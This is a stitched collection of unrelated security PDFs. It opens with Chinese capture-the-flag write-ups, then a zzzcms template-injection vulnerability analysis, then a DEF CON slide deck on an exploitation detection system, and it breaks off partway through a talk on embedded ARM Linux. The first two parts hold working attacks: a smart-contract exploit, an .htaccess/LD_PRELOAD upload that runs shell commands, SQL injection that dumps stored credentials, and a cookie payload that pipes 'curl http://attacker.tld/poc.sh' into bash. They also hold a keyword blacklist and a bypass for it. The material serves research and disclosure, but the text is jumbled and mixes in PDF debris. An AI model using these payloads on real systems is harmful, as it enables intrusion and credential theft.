require(haveKey[msg.sender] && haveTreasureChest[msg.sender]);
solved = true;
emit OpenTreasureChest(msg.sender);
}
function isSolved() public view returns (bool) {
return solved;
}
}
interface TreasureHunter {
function enter(bytes32[] memory _proofs) external;
function pickupTreasureChest(bytes32[] memory _proofs) external;
function leave(bytes32[] memory _proofs) external;
function findKey(bytes32[] memory _proofs) external;
function openTreasureChest() external;
}
contract exp{
function attack1() public{
WEB
RWDN
check处理有问题,只要前⾯的req.files能通过检查,就会执⾏next,可以写⼊任意扩展名的⽂件
TreasureHunter target =
TreasureHunter(0xfe6d7cB9d5E43A4522FA925d472A1B345754889B);
bytes32[] memory proof = new bytes32[](7);
proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[1] = 0x0000000000000000000000000000000000000000000000000000000000000050;
proof[2] = 0x0000000000000000000000000000000000000000000000000000000000000002;
proof[3] = 0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17;
proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000050;
proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000002;
proof[6] = 0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2;
target.enter(proof);
target.pickupTreasureChest(proof);
}
function attack2() public {
TreasureHunter target =
TreasureHunter(0xfe6d7cB9d5E43A4522FA925d472A1B345754889B);
bytes32[] memory proof1 = new bytes32[](7);
proof1[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof1[1] = 0x0000000000000000000000000000000000000000000000000000000000000050;
proof1[2] = 0x0000000000000000000000000000000000000000000000000000000000000002;
proof1[3] =
keccak256(abi.encode(keccak256(abi.encode(address(this),uint8(1))),0xe9f810898db8dc6234
2eaa122fd26525362f2b70bd462edef6e4e34093d66c17));
proof1[4] = 0x0000000000000000000000000000000000000000000000000000000000000050;
proof1[5] = 0x0000000000000000000000000000000000000000000000000000000000000002;
proof1[6] = 0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2;
target.findKey(proof1);
target.openTreasureChest();
}
}
POST /upload?formid=form-53ea6f80-e21a-40e0-8bdd-742a826bfaa5 HTTP/1.1
Host: 47.243.75.225:31337
Content-Length: 325
读取apache2.conf
发现有个ext filter
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip
然后就是LD_PRELOAD的⼀通操作
先传⼀个编译好的so上去
然后再写htaccess
Cache-Control: max-age=0
Origin: <http://47.243.75.225:31337>
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytbtYjzsQcAB5HCN8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: <http://47.243.75.225:31337/>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,am;q=0.8,ar;q=0.7,zh-CN;q=0.6,zh;q=0.5
Connection: close
------WebKitFormBoundarytbtYjzsQcAB5HCN8
Content-Disposition: form-data; name="abc"; filename="123"
1
------WebKitFormBoundarytbtYjzsQcAB5HCN8
Content-Disposition: form-data; name="form-53ea6f80-e21a-40e0-8bdd-742a826bfaa5";
filename=".htaccess"
SetHandler server-status
------WebKitFormBoundarytbtYjzsQcAB5HCN8--
ErrorDocument 404 %{file:///etc/apache2/apache2.conf}
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("cmd");
}
SetEnv LD_PRELOAD /var/www/html/b6c994f550346a71637f8b3e46713d5d/preload.js SetOutputFilter
7f39f8317fgzip
最后访问⼀下那个⽬录,触发ld_preload
Hack into Skynet
使⽤multipart绕过waf
查表名
' union select null,string_agg(table_name,',') from information_schema.tables where table_schema='public'
and '1
得到
target,target_credentials,login_session
查列名
' union select null,string_agg(column_name,',') from information_schema.columns where
table_name='target_credentials' and '1
得到
id,account,password,access_key,secret_key
最后查数据
SetEnv LD_PRELOAD /var/www/html/b6c994f550346a71637f8b3e46713d5d/preload.js
SetOutputFilter 7f39f8317fgzip
POST / HTTP/1.1
Host: 47.242.21.212:8081
Content-Length: 259
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: [<http://47.242.21.212:8081>](<http://47.242.21.212:8081/>)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Wm2JoPFZm5Nahgz
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: [<http://47.242.21.212:8081/>](<http://47.242.21.212:8081/>)
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SessionId=91c7dd1c2fbb7b4d0af13c7ecdabf865
Connection: close
-----WebKitFormBoundary0Wm2JoPFZm5Nahgz
Content-Disposition: form-data; name="name"
Skynet' union select
null,concat(id,'#',account,'#',password,'#',access_key,'#',secret_key) from
target_credentials where '1
------WebKitFormBoundary0Wm2JoPFZm5Nahgz-- | pdf |
POC分析:
分析POC可得到以下信息:
1. 漏洞点由Cookie触发,Cookie值为 keys
2. Payload像是一个if标签,猜测可能为模板注入
3. 请求参数为 ?location=search,猜测可能是个路由
漏洞分析
复现环境为:zzzphp v2.0.3
从 /index.php 找起,跟踪到 inc/zzz_client.php 。搜索 location 关键字。接着找到这么一段代
码:
查看模板文件 /template/pc/cn2016/html/search.html 。发现了Poc中的 keys
curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}'
'http://target.tld/?location=search'
1
//只要get传递了location,getlocation()就返回$_GET['location']
$location=getlocation();
switch ($location) {
......
case 'search':
//设置路径
//TPL_DIR = /template/pc/cn2016/html
$tplfile= TPL_DIR . 'search.html';
break;
......
}
.....
//对$tplfile进行file_get_contents()
//$zcontent为模板内容
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
//解析模板
$zcontent = $parser->parserCommom($zcontent);
echo $zcontent;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
<title>关键词【{zzz:keys}】搜索结果-{zzz:sitetitle}</title>
......
1
2
3
跟进 parserCommom() 方法,该方法会进行标签解析。不过在这个漏洞中,仅需关注
parserlocation() 和 parserIfLabel() 即可。可以注意下 parserIfLabel() 的调用在
parserlocation() 之后,这个调用顺序是该漏洞的成因之一 :
首先分析 parserlocation() 方法,该方法又调用了 parserSearch() 方法,关键代码如下:
public function parserCommom( $zcontent ) {
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
$zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->parserNavLabel( $zcontent ); // 导航标签
$zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
$zcontent = $this->parserUser( $zcontent ); //会员信息
//parserlocation()
$zcontent = $this->parserlocation( $zcontent ); // 站点标签
$zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
$zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
$zcontent = $this->parserbrandloop( $zcontent );
$zcontent = $this->parserGbookList( $zcontent );
$zcontent = $this->parserLabel( $zcontent ); // 指定内容
$zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
$zcontent = $this->parserad( $zcontent );
$zcontent = parserPlugLoop( $zcontent );
$zcontent = $this->parserOtherLabel( $zcontent );
//parserIfLabel()
$zcontent = $this->parserIfLabel( $zcontent ); // IF语句
$zcontent = $this->parserNoLabel( $zcontent );
return $zcontent;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private function parserlocation( $zcontent ) {
//这个$location就是GET获得的location
$location = G( 'location' );
switch ( $location ) {
......
case 'search':
$zcontent = $this->parserSearch( $zcontent );
break;
......
}
return $zcontent;
}
public function parserSearch( $zcontent ) {
//getform('keys', 'cookie') 相当于 $_COOKIE['keys']
//danger_key() 里面是黑名单字符串列表,遇到如 system,eval 这些字符串将会立刻报错
$keys = danger_key(getform( 'keys', 'cookie' ));
......
//替换模板内容
$zcontent = str_replace( '{zzz:keys}', $keys, $zcontent );
......
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
执行完 parserlocation() 方法后,此时的模板内容 $zcontent 值变成了
接下来分析 parserIfLabel() 方法,根据函数命名和注释可以猜到,这是用于处理 if 模板标签的方法
......
<title>关键词【{if:=`curl http://attacker.v12tix.dnslog.cn`}{end if}】搜索结果-
zzzcms-PHP建站系统</title>
......
1
2
3
public function parserIfLabel( $zcontent ) {
//匹配 if 模板标签
//格式:{if:判断语句}if条件成立时执行的东西{end if}
//Poc为 {if:=`curl http://attacker.tld/poc.sh|bash`}{end if}
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
//根据匹配到的 if模板标签,依次解析
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
//解析运算符
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
//表达式过滤
foreach(array('==','!=','||','&&','%','!','>=','<=','>','<') as
$v){
if(strpos($ifstr,$v) !== false){
//根据运算符分割字符串
$arr= splits($ifstr,$v);
//对if模板标签内容值进行安全过滤
$arr1= danger_key($arr[0]);
$arr2= danger_key($arr[1]);
$arr0= $v;
if($arr[0]=='') $arr1='0';
if($arr[1]=='') $arr2='0';
}
}
if ( preg_match( '/\{|}/', $ifstr)) {
error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
// !!漏洞触发点!!
@eval( 'if(' .$arr1 . $arr0 . $arr2. ')
{$flag="if";}else{$flag="else";}' );
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
程序多次使用了黑名单方法 danger_key() 来进行安全过滤。这里列出来该方法过滤的字符串:
'php','preg','server','chr','decode','html','md5','post','get','request','file','co
okie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','s
hell','open','ini_','chroot','eval','passthru','include','require','assert','union',
'create','func','symlink','sleep','ascii','ord','print','echo','base_','replace','_m
ap','_dump','_array','regexp','select','dbpre','zzz_'
总结:
至此整个漏洞流程就分析完了。从 “恶意函数回溯” 的审计方法来看,流程如下:
1. parserIfLabel() 函数中存在 eval() 代码, eval() 内的参数可由 $zcontent 控制
2. parserlocation() 函数中替换模板标签 {zzz:keys} 时,替换内容可控制为 Cookie keys 值。
即我们可控制一部分 $zcontent 的值
3. 为了能执行 parserlocation() 函数替换模板标签 {zzz:keys} 的操作,需要控制 $location
4. $location 值可通过 $_GET['location'] 进行控制
5. 由于黑名单方法 danger_key() 的存在,Payload 不能保护如 system,eval 一类的关键字。不
过PHP可使用反引号 "`" 执行系统命令,可绕过黑名单
测试POC
修改POC为
Debug跟踪到执行 eval() 的代码,如下:
成功接收到Dns请求
关于下源码的坑
由于zzzcms官网似乎没有开放下载历史版本的链接,正常下载是下的最新 v2.0.4 版本
curl -b 'keys={if:=`curl http://attacker.37fo0c.dnslog.cn`}{end if}'
'http://127.0.0.1/zzzcms/2.0.3/?location=search&XDEBUG_SESSION_START=16941'
1
然后,,,不知道是不是zzzcms的站长忘记更新百度网盘的资源了,右边的百度网盘下载可以下载到
v2.0.3 版本的
但是我初初来复现的时候是没有留意到右边这个百度网盘的下载安全按钮的,于是乎为了找低版本从源
码站下了一个 v1.8.2
http://down.chinaz.com/soft/39126.htm
但是 v1.8.2 是无法成功利用这个漏洞的,为何?原因出在获取 Cookie 的代码上:
v1.8.2 获取keys的方式:
正是由于 v1.8.2 获取 Cookie 是从 get_cookie() 方法中获取的,所以该版本不存在漏洞
而 v2.0.3 版本获取Cookie的方式是这样的:
/inc/zzz_main.php
function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
switch ( $source ) {
......
case 'cookie':
$data = _REQUEST($name);
if($data) {
set_cookie( $name,$data ) ;
}else{
//调用了 get_cookie() 方法
$data=get_cookie( $name,$data ) ;
}
break;
......
}
}
--------
function get_cookie( $name ) {
if ( is_null( $name ) ) return '';
$x = $_SERVER[ 'prefix'];
$vv = $_COOKIE[ $_SERVER[ 'prefix' ] . $name ];
$oo = $_SERVER[ 'prefix' ] . $name;
//固定前缀来获取Cookie
$data = isset( $_COOKIE[ $_SERVER[ 'prefix' ] . $name ] ) ? $_COOKIE[
$_SERVER[ 'prefix' ] . $name ] : NULL;
//对cookie值进行一次过滤
return safe_url($data);
}
--------
function safe_url( $s, $len=255) {
//设置了正则过滤,显而易见,我们Poc中的 { } ` 都被白名单过滤掉了
preg_match_all('/[a-zA-Z0-9,.:=@?_\/\s]/u',$s,$result);
$temp =join('',$result[0]);
$s = substr( $temp, 0, $len );
return $s;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/inc/zzz_main.php
function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
switch ( $source ) {
......
case 'cookie':
$data = _REQUEST($name);
if($data) {
setcookie( $name,$data ) ;
}else{
//通过 _COOKIE() 方法来获取Cookie
$data=_COOKIE($name);
}
1
2
3
4
5
6
7
8
9
10
11
12
在 v2.0.3 中搜索 get_cookie() 函数,发现该函数是有的。至于为什么 v1.8.2 版本使用了该函数而
v2.0.3 没有使用,翻了下更新日志没看到有关说明。。我估计可能是为了程序效率,以及考虑到Cookie
值可能有各种特殊符号,便放宽了过滤机制。
v2.0.4修复方式
如今的最新版 v2.0.4 依然没有重新使用 get_cookie() 函数,修复方式仅在 danger_key() 方法的黑
名单中新增了 '{if','curl' 这两个字符串。。。如果能找到合适的模板标签估计就能绕过黑名单了。
Reference:
https://srcincite.io/advisories/src-2021-0015/
https://mp.weixin.qq.com/s/JyQktD2WTpFvf9Xft4cVrQ
break;
.....
}
}
--------
function _COOKIE( $k, $def = NULL ) {
//直接返回Cookie,没有任何过滤
return isset( $_COOKIE[ $k ] ) ? $_COOKIE[ $k ] : $def;
}
13
14
15
16
17
18
19
20
21 | pdf |
EDS: Exploitation Detection System
By Amr Thabet
Q-CERT
About The Author
v Amr Thabet (@Amr_Thabet)
v Malware Researcher at Q-CERT
v The Author of:
§ Security Research and Development
Framework (SRDF)
§ Pokas x86 Emulator
v Wrote a Malware Analysis Paper for
Stuxnet
Company Logo
Introduction
v Now the APT Attack become the major
threat
v Bypasses all defenses
v Standards and Policies doesn’t work
v Bypasses IDS, IPS, Firewalls .. etc
Company Logo
Introduction
v The Attacker uses:
§ Client-side attacks and exploits
§ Spear-phishing attacks
v Uses undetectable malwares
v Uses HTTP and HTTPs
v Attack the servers from the infected
clients
Company Logo
Introduction
v The Next Security Technology is the :
“Exploitation Detection Systems”
v EDS is only way to stop Attacks from
behind
v Stop Attacks from Client-Side
v Stop successful exploitation for a 0-day
Company Logo
Company Logo
Improvements in Defense
Security
Technology
Improvements
EDS
IDS
Firewall
Antivirus
Introduction
v The Talk today is about:
§ EDS as a concept and next technology
§ EDS: the new tool that I created
§ The Development of EDS
§ SRDF Framework (adv J )
v I will try to explain everything for who
don’t know about Exploits … etc
Company Logo
Company Logo
Contents
Development and Future work
Monitoring System
Mitigations in Depth
The Design of EDS
Motivation and Goals
Goals
v Stop Exploitation for new 0-days
v Works with Memory Corruption
Exploits
v Detect Compromised Processes
v Prevent and/or Alert of Exploited
Processes
Company Logo
Memory Corruption Vulnerabilities
v Simply write data in
places you are not
intended to write on it
v Like:
§ Pointers
§ Return addresses
v Change how the
application behave
v Check:
www.corelan.be
Company Logo
Antivirus vs EDS
v EDS is not signature based
v EDS doesn’t detect malware
v EDS main goal to stop exploitation
v EDS is memory based
v EDS searches for evidence of Memory
corruption and indication of
compromise
Company Logo
Previous Work
v Compile-Time Solutions:
§ Takes Long time to affect
§ Always there’s exceptions
v Current Run-time Solutions:
§ Only One Layer of Defense
§ On-Off Mitigations
§ No detection of this layer was bypassed or not
§ A fight between false positives and false
negatives
Company Logo
What’s New?
v Co-operative Mitigations
v Based on Scoring System
v Prevention and Alerting Infected
processes
v Additional layer with Monitoring
System
Company Logo
Design of EDS
Company Logo
Design of EDS
v Payload Detection:
§ Shellcode Detection
§ ROP Chain Detection
v Security Mitigations For Stack:
§ ROP Detection
v Security Mitigation For Heap:
§ Heap Overflow
§ Heap Spray
§ Use After Free
Company Logo
Design of EDS
v Scoring System:
§ Based On Payload Detection and Security
Mitigations
§ Scoring Based on Payload, Attack Vector and
The Process abnormal behavior
Company Logo
Design of EDS
v Monitoring System:
§ Searches for Evidence of Exploitation
§ Detect bypassed Mitigations
§ Alert the Administrators to Take Action
§ Looking at the previous EDS reports for this
process
Company Logo
Mitigation In Depth: Payload
v Increase the score of suspiciously
v Detect suspicious inputs and tries for
exploitation.
v Divided Into:
§ Shellcode Detection
§ ROP Chain Detection
Company Logo
What’s Shellcode?
v It is simply a portable native code
v Sent as a bunch of bytes in a user input
v Do a specific action when the
processor executes it
v The attacker modify the return address
to point to it.
Company Logo
What’s Shellcode?
v It gets its place in memory
v Then it gets the kernel32
DLL place in memory
v Get windows functions
(APIs) from it
v And then … ATTACK
v Check:
v http://www.codeproject.com/Articles/
325776/The-Art-of-Win32-Shellcoding
Company Logo
What’s Shellcode
v Some shellcodes shouldn’t have null
bytes (sent as string)
v Some are encrypted
v There’s a loop to decrypt it
v Some are in ascii
v Some doesn’t include loop but many
pushes (to be in ascii)
Company Logo
Shellcode Detection
v Goals:
§ Very fast shellcode detector
§ Very hard to bypass … min false negative
§ Low false positive
Company Logo
Shellcode Detector
v Static Shellcode Detector
v Divided into 3 phases:
§ Indication of Possible Shellcode (GetPC …
etc)
§ Filter by invalid or privileged Instructions
§ Filter by Flow Analysis
Company Logo
Indication of Possible Shellcode
v Search for Loops
§ Jump to previous
§ Call to previous (Call Delta)
§ Loop Instruction
Company Logo
Indication of Possible Shellcode
v High rate of pushes end with flow
redirection
v Search for fstenv followed with at least
5 valid instructions after it
Company Logo
Skip Invalid Instructions
v We skip all invalid instructions.
v We skip all privileged instructions like:
IN, OUT, INT, INTO, IRETD, WAIT,
LOCK, HLT … etc
v Skip Instructions with unknown
Behavior like:
JP, AAM, AAD, AAA, DAA, SALC, XLAT, SAHF,
LAHF, LES, DES,
Company Logo
Flow Analysis
v Check on ESP Modifications through
loops
§ If there’s many pushes with no pops in loops
v Check on Compares and Jccs in th
code
§ Search for Jcc without compare or similar
before it.
v Check on % of Nulls and Null-Free
Company Logo
Shellcode Statistics
Company Logo
v Scan per page
v False Positives in range 4% Infected
Pages
v All of these samples are legitimate
File
Type
Total
No
of
Pages
Infected
Pages
Presentage
Pcap
381
40
2%
Pcap
11120
543
4%
Wmv
104444
4463
4%
Shellcode Statistics
v It detects all Metasploit Shellcodes
v Detects all working shellcodes in
Shellstorm (win32 – ASLR Bypass)
v Detected Encoded Shellcodes by
metasploit Encoders
v Manual Evasion is possible
Company Logo
What’s ROP Chain
v Very small code in a
legitimate dll
v End with “ret” instruction
v Attackers uses a series
of it
v All of them together = a
working shellcode
v Used to bypass DEP
Company Logo
ROP Chain Detection
v It’s a very simple ROP Detection
v Search for Return with these criteria:
§ the address is inside an executable page in a
module
§ the return address not following a call
§ Followed by ret or equivalent instructions in
the next 16 bytes
§ Not Following series of (0xCC)
Company Logo
Stack Mitigations
v We detect ROP Attacks
v The Mitigation is named “Wrong
Module Switching”
v We detect SEH Overwrite
v We scan for Leaked ROP chains (which
not overwritten)
Company Logo
ROP Attack Vector
v ROP are used to bypass DEP
v They mostly ret to VirtualProtect API
v Make the shellcode’s memory
executable
v Or calls to another windows APIs
Company Logo
Wrong Module Switching
v Detect ROP Attacks
v Based on Stack Back-tracing
Company Logo
Wrong Module Switching
v Hooks in Kernel-Mode on win32
v Uses SSDT Hooking
v Hooking on WOW64 for win64
v Hook Specific APIs
v Hooks:
§ VirtualProtect and similar functions
§ CreateProcess and similar
§ Network and Socket APIs
§ And more
Company Logo
Wrong Module Switching
v Using Stack Backtracing to Return to The API
Caller
v Checks the API Call are:
§ Check The Call to this API or not
§ Check The Parameters
§ Check the next Call Stack if it calls to the function that
calls to the API
§ Check The SEH if it’s in the same module
§ Check if there’s null parameters
§ Near return address after the call
§ And more
v Gives a score to API call
Company Logo
Wrong Module Switching
v Check on Different Calls like:
§ Call dword ptr [<kernel32.API>]
§ Lea eax, <kernel32.API>
call eax
§ Call API
API:Jmp dword ptr [<kernel32.API>]
Company Logo
Wrong Module Switching
v Category Parameters based on:
§ CONST: push xxxxxxxxh
OR lea eax, [xxxxxxxh]
push eax
§ STACK: lea eax, [ebp +/- xxxxh]
push eax
§ REGISTER: push exx
§ UNKNOWN: push any
Company Logo
Wrong Module Switching
Demo on ShellExecute
Company Logo
Demo: Hooking Firefox with EDS
Company Logo
Demo: Force Firefox to create
Process
Company Logo
Demo: The call stack to
ShellExecute
Company Logo
Demo: The ShellExecute Params
Company Logo
Demo: The Action Scoring
Company Logo
Demo: a Vulnerable application
Company Logo
Demo: Running and Hooking it
Company Logo
Demo: The Action Scoring and
Detection
Company Logo
SEH Mitigation
v SEH is a linked list of pointers to
functions handle an error
v Very basic Mitigation
v Saves the SEH Linked List
v Check if it ends differently
Company Logo
Mitigations For Heap
v We mitigate these attack vectors:
§ Heap Overflow
§ Heap Spray
§ Heap Use After Free
v Hooks GlobalAlloc and jemalloc
v Create a new Header for memory
allocations
Company Logo
New Header Design
v It’s Divided Into 2 Headers
Company Logo
Design of Buffer Header
v This is a Header in a separate Buffer
v It points to the buffer
v It get the Caller Module
and the allocation Time
v It checks for vtable inside
the buffer and Mark it
as Important
v It reset everything in ~ 2 secs
Company Logo
Overflow Mitigation
v It checks for:
§ Nulls: to stop the string overwrite
§ Cookie: to stop managed overwrite
v It’s used mainly against jemalloc
Company Logo
HeapSpray Mitigation
v It searches for Allocations:
§ Many Allocations from the same Module
§ Large Memory Usage
§ In very small time
v Take 2 random buffers
v Scan for shellcode and ROP chains
Company Logo
Use-After-Free Mitigation
v Scans for vtable inside buffers
v Delay the free for these buffers
v Wipe them with 0xBB
v Free them at the end of the slot ~ 2
secs
v Detect Attacks when access 0xBB in
Heap
Company Logo
Put All together
v It does 2 type of scanning:
§ Critical Scanning: when calls to an API to
check ROP Attack or detect HeapSpray .. etc
§ Periodical Scanning: That’s the monitoring
system
Company Logo
Scoring System
v It’s based on the Mitigation
v It stop the known Attacks and
terminate the Process
v Alert for suspicious Inputs
v Take Dump of the Process
Company Logo
Monitoring System
v It scans Periodically
v Checks for possible Attacks
v Like:
§ Check Executable Places in Stack
§ Check Executable Places in Memory Mapped
Files
§ Search for ROP Chains and Shellcode in
Stack and Heap
§ Check Threads running in place outside
memory
§ And many more
Company Logo
Future Work
v We are planning to create a central
Server
v Receives Alerts and warning
v Monitoring Exploitations on
client machine
v With a graphical
Dashboard
Company Logo
Future Work: Dashboard
v The Dashboard includes Suspicious
Processes in all Machines
v Includes the files loaded inside the
suspicious processes (PDF, DOC …
etc)
v Includes IPs of these processes
connect to (after review the Privacy
policy)
Company Logo
Future Work: Dashboard
v EDS will become your Memory and
Exploitation Monitor.
v Will correlate with your network tools
v Will be your defense inside the client
v More Intelligent than Antivirus
v Better Response
Company Logo
Dashboard: What you can Detect
v Using this Dashboard you can detect:
§ Suspicious PDF or Word File many people
opened it:
it could be an email sent to many people in
the company
Company Logo
Dashboard: What you can Detect
v Using this Dashboard you can detect:
§ In small time … IE for many employees
become suspicious with similar shellcode:
could be a suspicious URL visited by a
phishing mail
Company Logo
Dashboard: What you can Detect
v Using this Dashboard you can detect:
§ You can detect suspicious IPs did a scanning
over your network and now suspicious
processes connect to it
Company Logo
Development
v The EDS is based on SRDF
v “Security Research and Development
Framework”
v Created by Amr Thabet
v Includes 3 main contributors
Company Logo
SRDF
v development framework
v Support writing security tools
v Anti-Malware and Network Tools
v Mainly in windows and C++
v Now creating linux SRDF and
implementation on python
Company Logo
SRDF Features
v Parsers:
§ PE and ELF Parsers
§ PDF Parser
§ Andoid (APK or/and DEX) Parser
v Static Analysis:
§ Include wildcard like YARA
§ x86 Assembler and Disassembler
§ Android Delivk Java Disassembler
Company Logo
SRDF Features
v Dynamic Analysis:
§ Full Process Analyzer
§ Win32 Debugger
§ x86 Emulator for apps and shellcodes
v Behavior Analysis:
§ API Hooker
§ SSDT Hooker (for win32)
§ And others
Company Logo
SRDF Features
v Network Analysis
§ Packet Capturing using WinPcap
§ Pcap File Analyzer
§ Flow Analysis and Session Separation
§ Protocol Analysis: tcp, udp, icmp and arp
§ App Layer Analysis: http and dns
§ Very Object Oriented design
§ Very scalable
Company Logo
SRDF
v Very growing community
v I will present it in
v Become a part of this growing
community
Company Logo
SRDF
v Reach it at:
§ Website: www.security-framework.com
§ Source:
https://github.com/AmrThabet/winSRDF
§ Twitter: @winSRDF
v Join us
Company Logo
What we reach in EDS
v We developed the Mitigations
separately
v We tested the Shellcode Scanner on
real shellcodes
v Still testing on real world scenarios
v Join us and help us.
Company Logo
Reach Us
v Still there’s no website for EDS
v You can reach us at SRDF Website:
www.security-framework.com
v And my Twitter: @Amr_Thabet
v Just mail me if you have any feedback
§ Amr.thabet[@#!*^]owasp.org
Company Logo
Conclusion
v EDS is the new security tool for this
Era
v The Last line to defend against APT
Attacks
v Still we are in the middle of the
Development
v SRDF is the main backbone for it
v Join Us
Company Logo
Big Thanks to
v Jonas Lekyygaurd
v Anwar Mohamed
v Corlan Team
v All Defcon Team
v Big thanks for YOU
Company Logo | pdf |
It’s assembler,
Jim, but not as
we know it!
Morgan Gangwere
DEF CON 26
Dedication
Never forget the
shoulders you stand on.
Thanks, Dad
whoami
Hoopy Frood
Been fiddling with Linux SOCs since I
fiddled with an old TS-7200
EmbeddedARM board
I’ve used ARM for a lot of services:
IRC, web hosting, etc.
I’ve built CyanogenMod/LineageOS,
custom ARM images, etc.
A word of note
There are few concrete examples in this talk. I’m sorry.
This sort of work is
One part science
One part estimation
Dash of bitter feelings towards others
Hint of “What the fuck was that EE thinking?”
A lot comes from experience. I can point the way, but I
cannot tell the future.
There’s a lot of seemingly random things. Trust me, It’ll
make sense.
ARMed to the
teeth
From the BBC to your home.
Short history of
ARM
Originally the Acorn RISC machine
Built for the BBC Micro!
Acorn changed hands and became
ARM Holdings
Acorn/ARM has never cut silicon!
Fun fact: Intel has produced ARM-
based chips (StrongARM and
XSCale) and still sometimes does!
The ISA hasn’t changed all that
much.
Embedded
Linux 101
Anatomy of an Embedded
Linux device.
Fundamentally 3 parts
Storage
SoC/Processor
RAM
Everything else? Bonus.
PHYs on everything from I2C, USB to SDIO
Cameras and Screens are via MIPI-defined protocols,
CSI and DSI respectively
At one point, they all look mostly the same.
What is an SoC?
Several major vendors:
Allwinner, Rockchip (China)
Atheros, TI, Apple (US)
Samsung (Korea)
80-100% of the peripherals and possibly storage is right
there on die
Becomes a “just add peripherals” design
Some vendors include SoCs as a part of other
devices, such as TI's line of DSPs with an ARM SoC
used for video production hardware and the like.
In some devices, there may be multiple SoCs: A whole
line of Cisco-owned Linux-based teleconferencing
hardware has big banks of SoCs from TI doing video
processing on the fly alongside a DSP.
What is an SoC?
Internal bus
Peripheral Controller
LTE modem
Ethernet PHY
I2C/SPI
External
Peripherals
RAM
(sometimes)
Storage
Controller
SD
Card/NAND/etc
GPU
CPU
Core(s)
Storage
Two/Three common flavors
MTD (Memory Technology
Device): Abstraction of flash
pages to partitions
Storage
Two/Three common flavors
MTD (Memory Technology
Device): Abstraction of flash
pages to partitions
eMMC: Embedded
MultiMedia Card
Storage
Two/Three common flavors
MTD (Memory Technology
Device): Abstraction of flash
pages to partitions
eMMC: Embedded
MultiMedia Card, SPI SD card
SD cards
Storage
Two/Three common flavors
MTD (Memory Technology
Device): Abstraction of flash
pages to partitions
eMMC: Embedded
MultiMedia Card, SPI SD card
SD cards
Storage
Two/Three common flavors
MTD (Memory Technology
Device): Abstraction of flash
pages to partitions
eMMC: Embedded
MultiMedia Card, SPI SD card
SD cards
Then there’s UFS
Introduced in 2011 for
phones, cameras: High
Bandwidth storage devices
Uses a SCSI model, not
eMMC’s linear model
Variations
Some devices have a small amount of onboard Flash for
the bootloader
Commonly seen on phones, for the purposes of
boostrapping everything else
Every vendor has different tools for pushing bits to a
device and they all suck.
Samsung has at least three for Android
Allwinner based devices can be placed into FEL boot
mode
Fastboot on Android devices
RAM
The art of cramming a lot in a
small place
Vendors are seriously tight-
assed
Can you cram everything in
8MB? Some routers do.
The WRT54G had 8M of RAM,
later 4M
Modern SoCs tend towards
1GB, phones 4-6G
In pure flash storage, ramfs
might be used to expand on-
demand files (http content)
Peripherals
Depends on what the hardware has: SPI, I2C, I2S, etc are
common sights.
Gonna see some weird shit
SDIO wireless cards
“sound cards” over I2S
GSM modems are really just pretending to be Hayes AT
modems.
Power management, LED management, cameras, etc.
“We need an Ethernet PHY” becomes “We hooked an
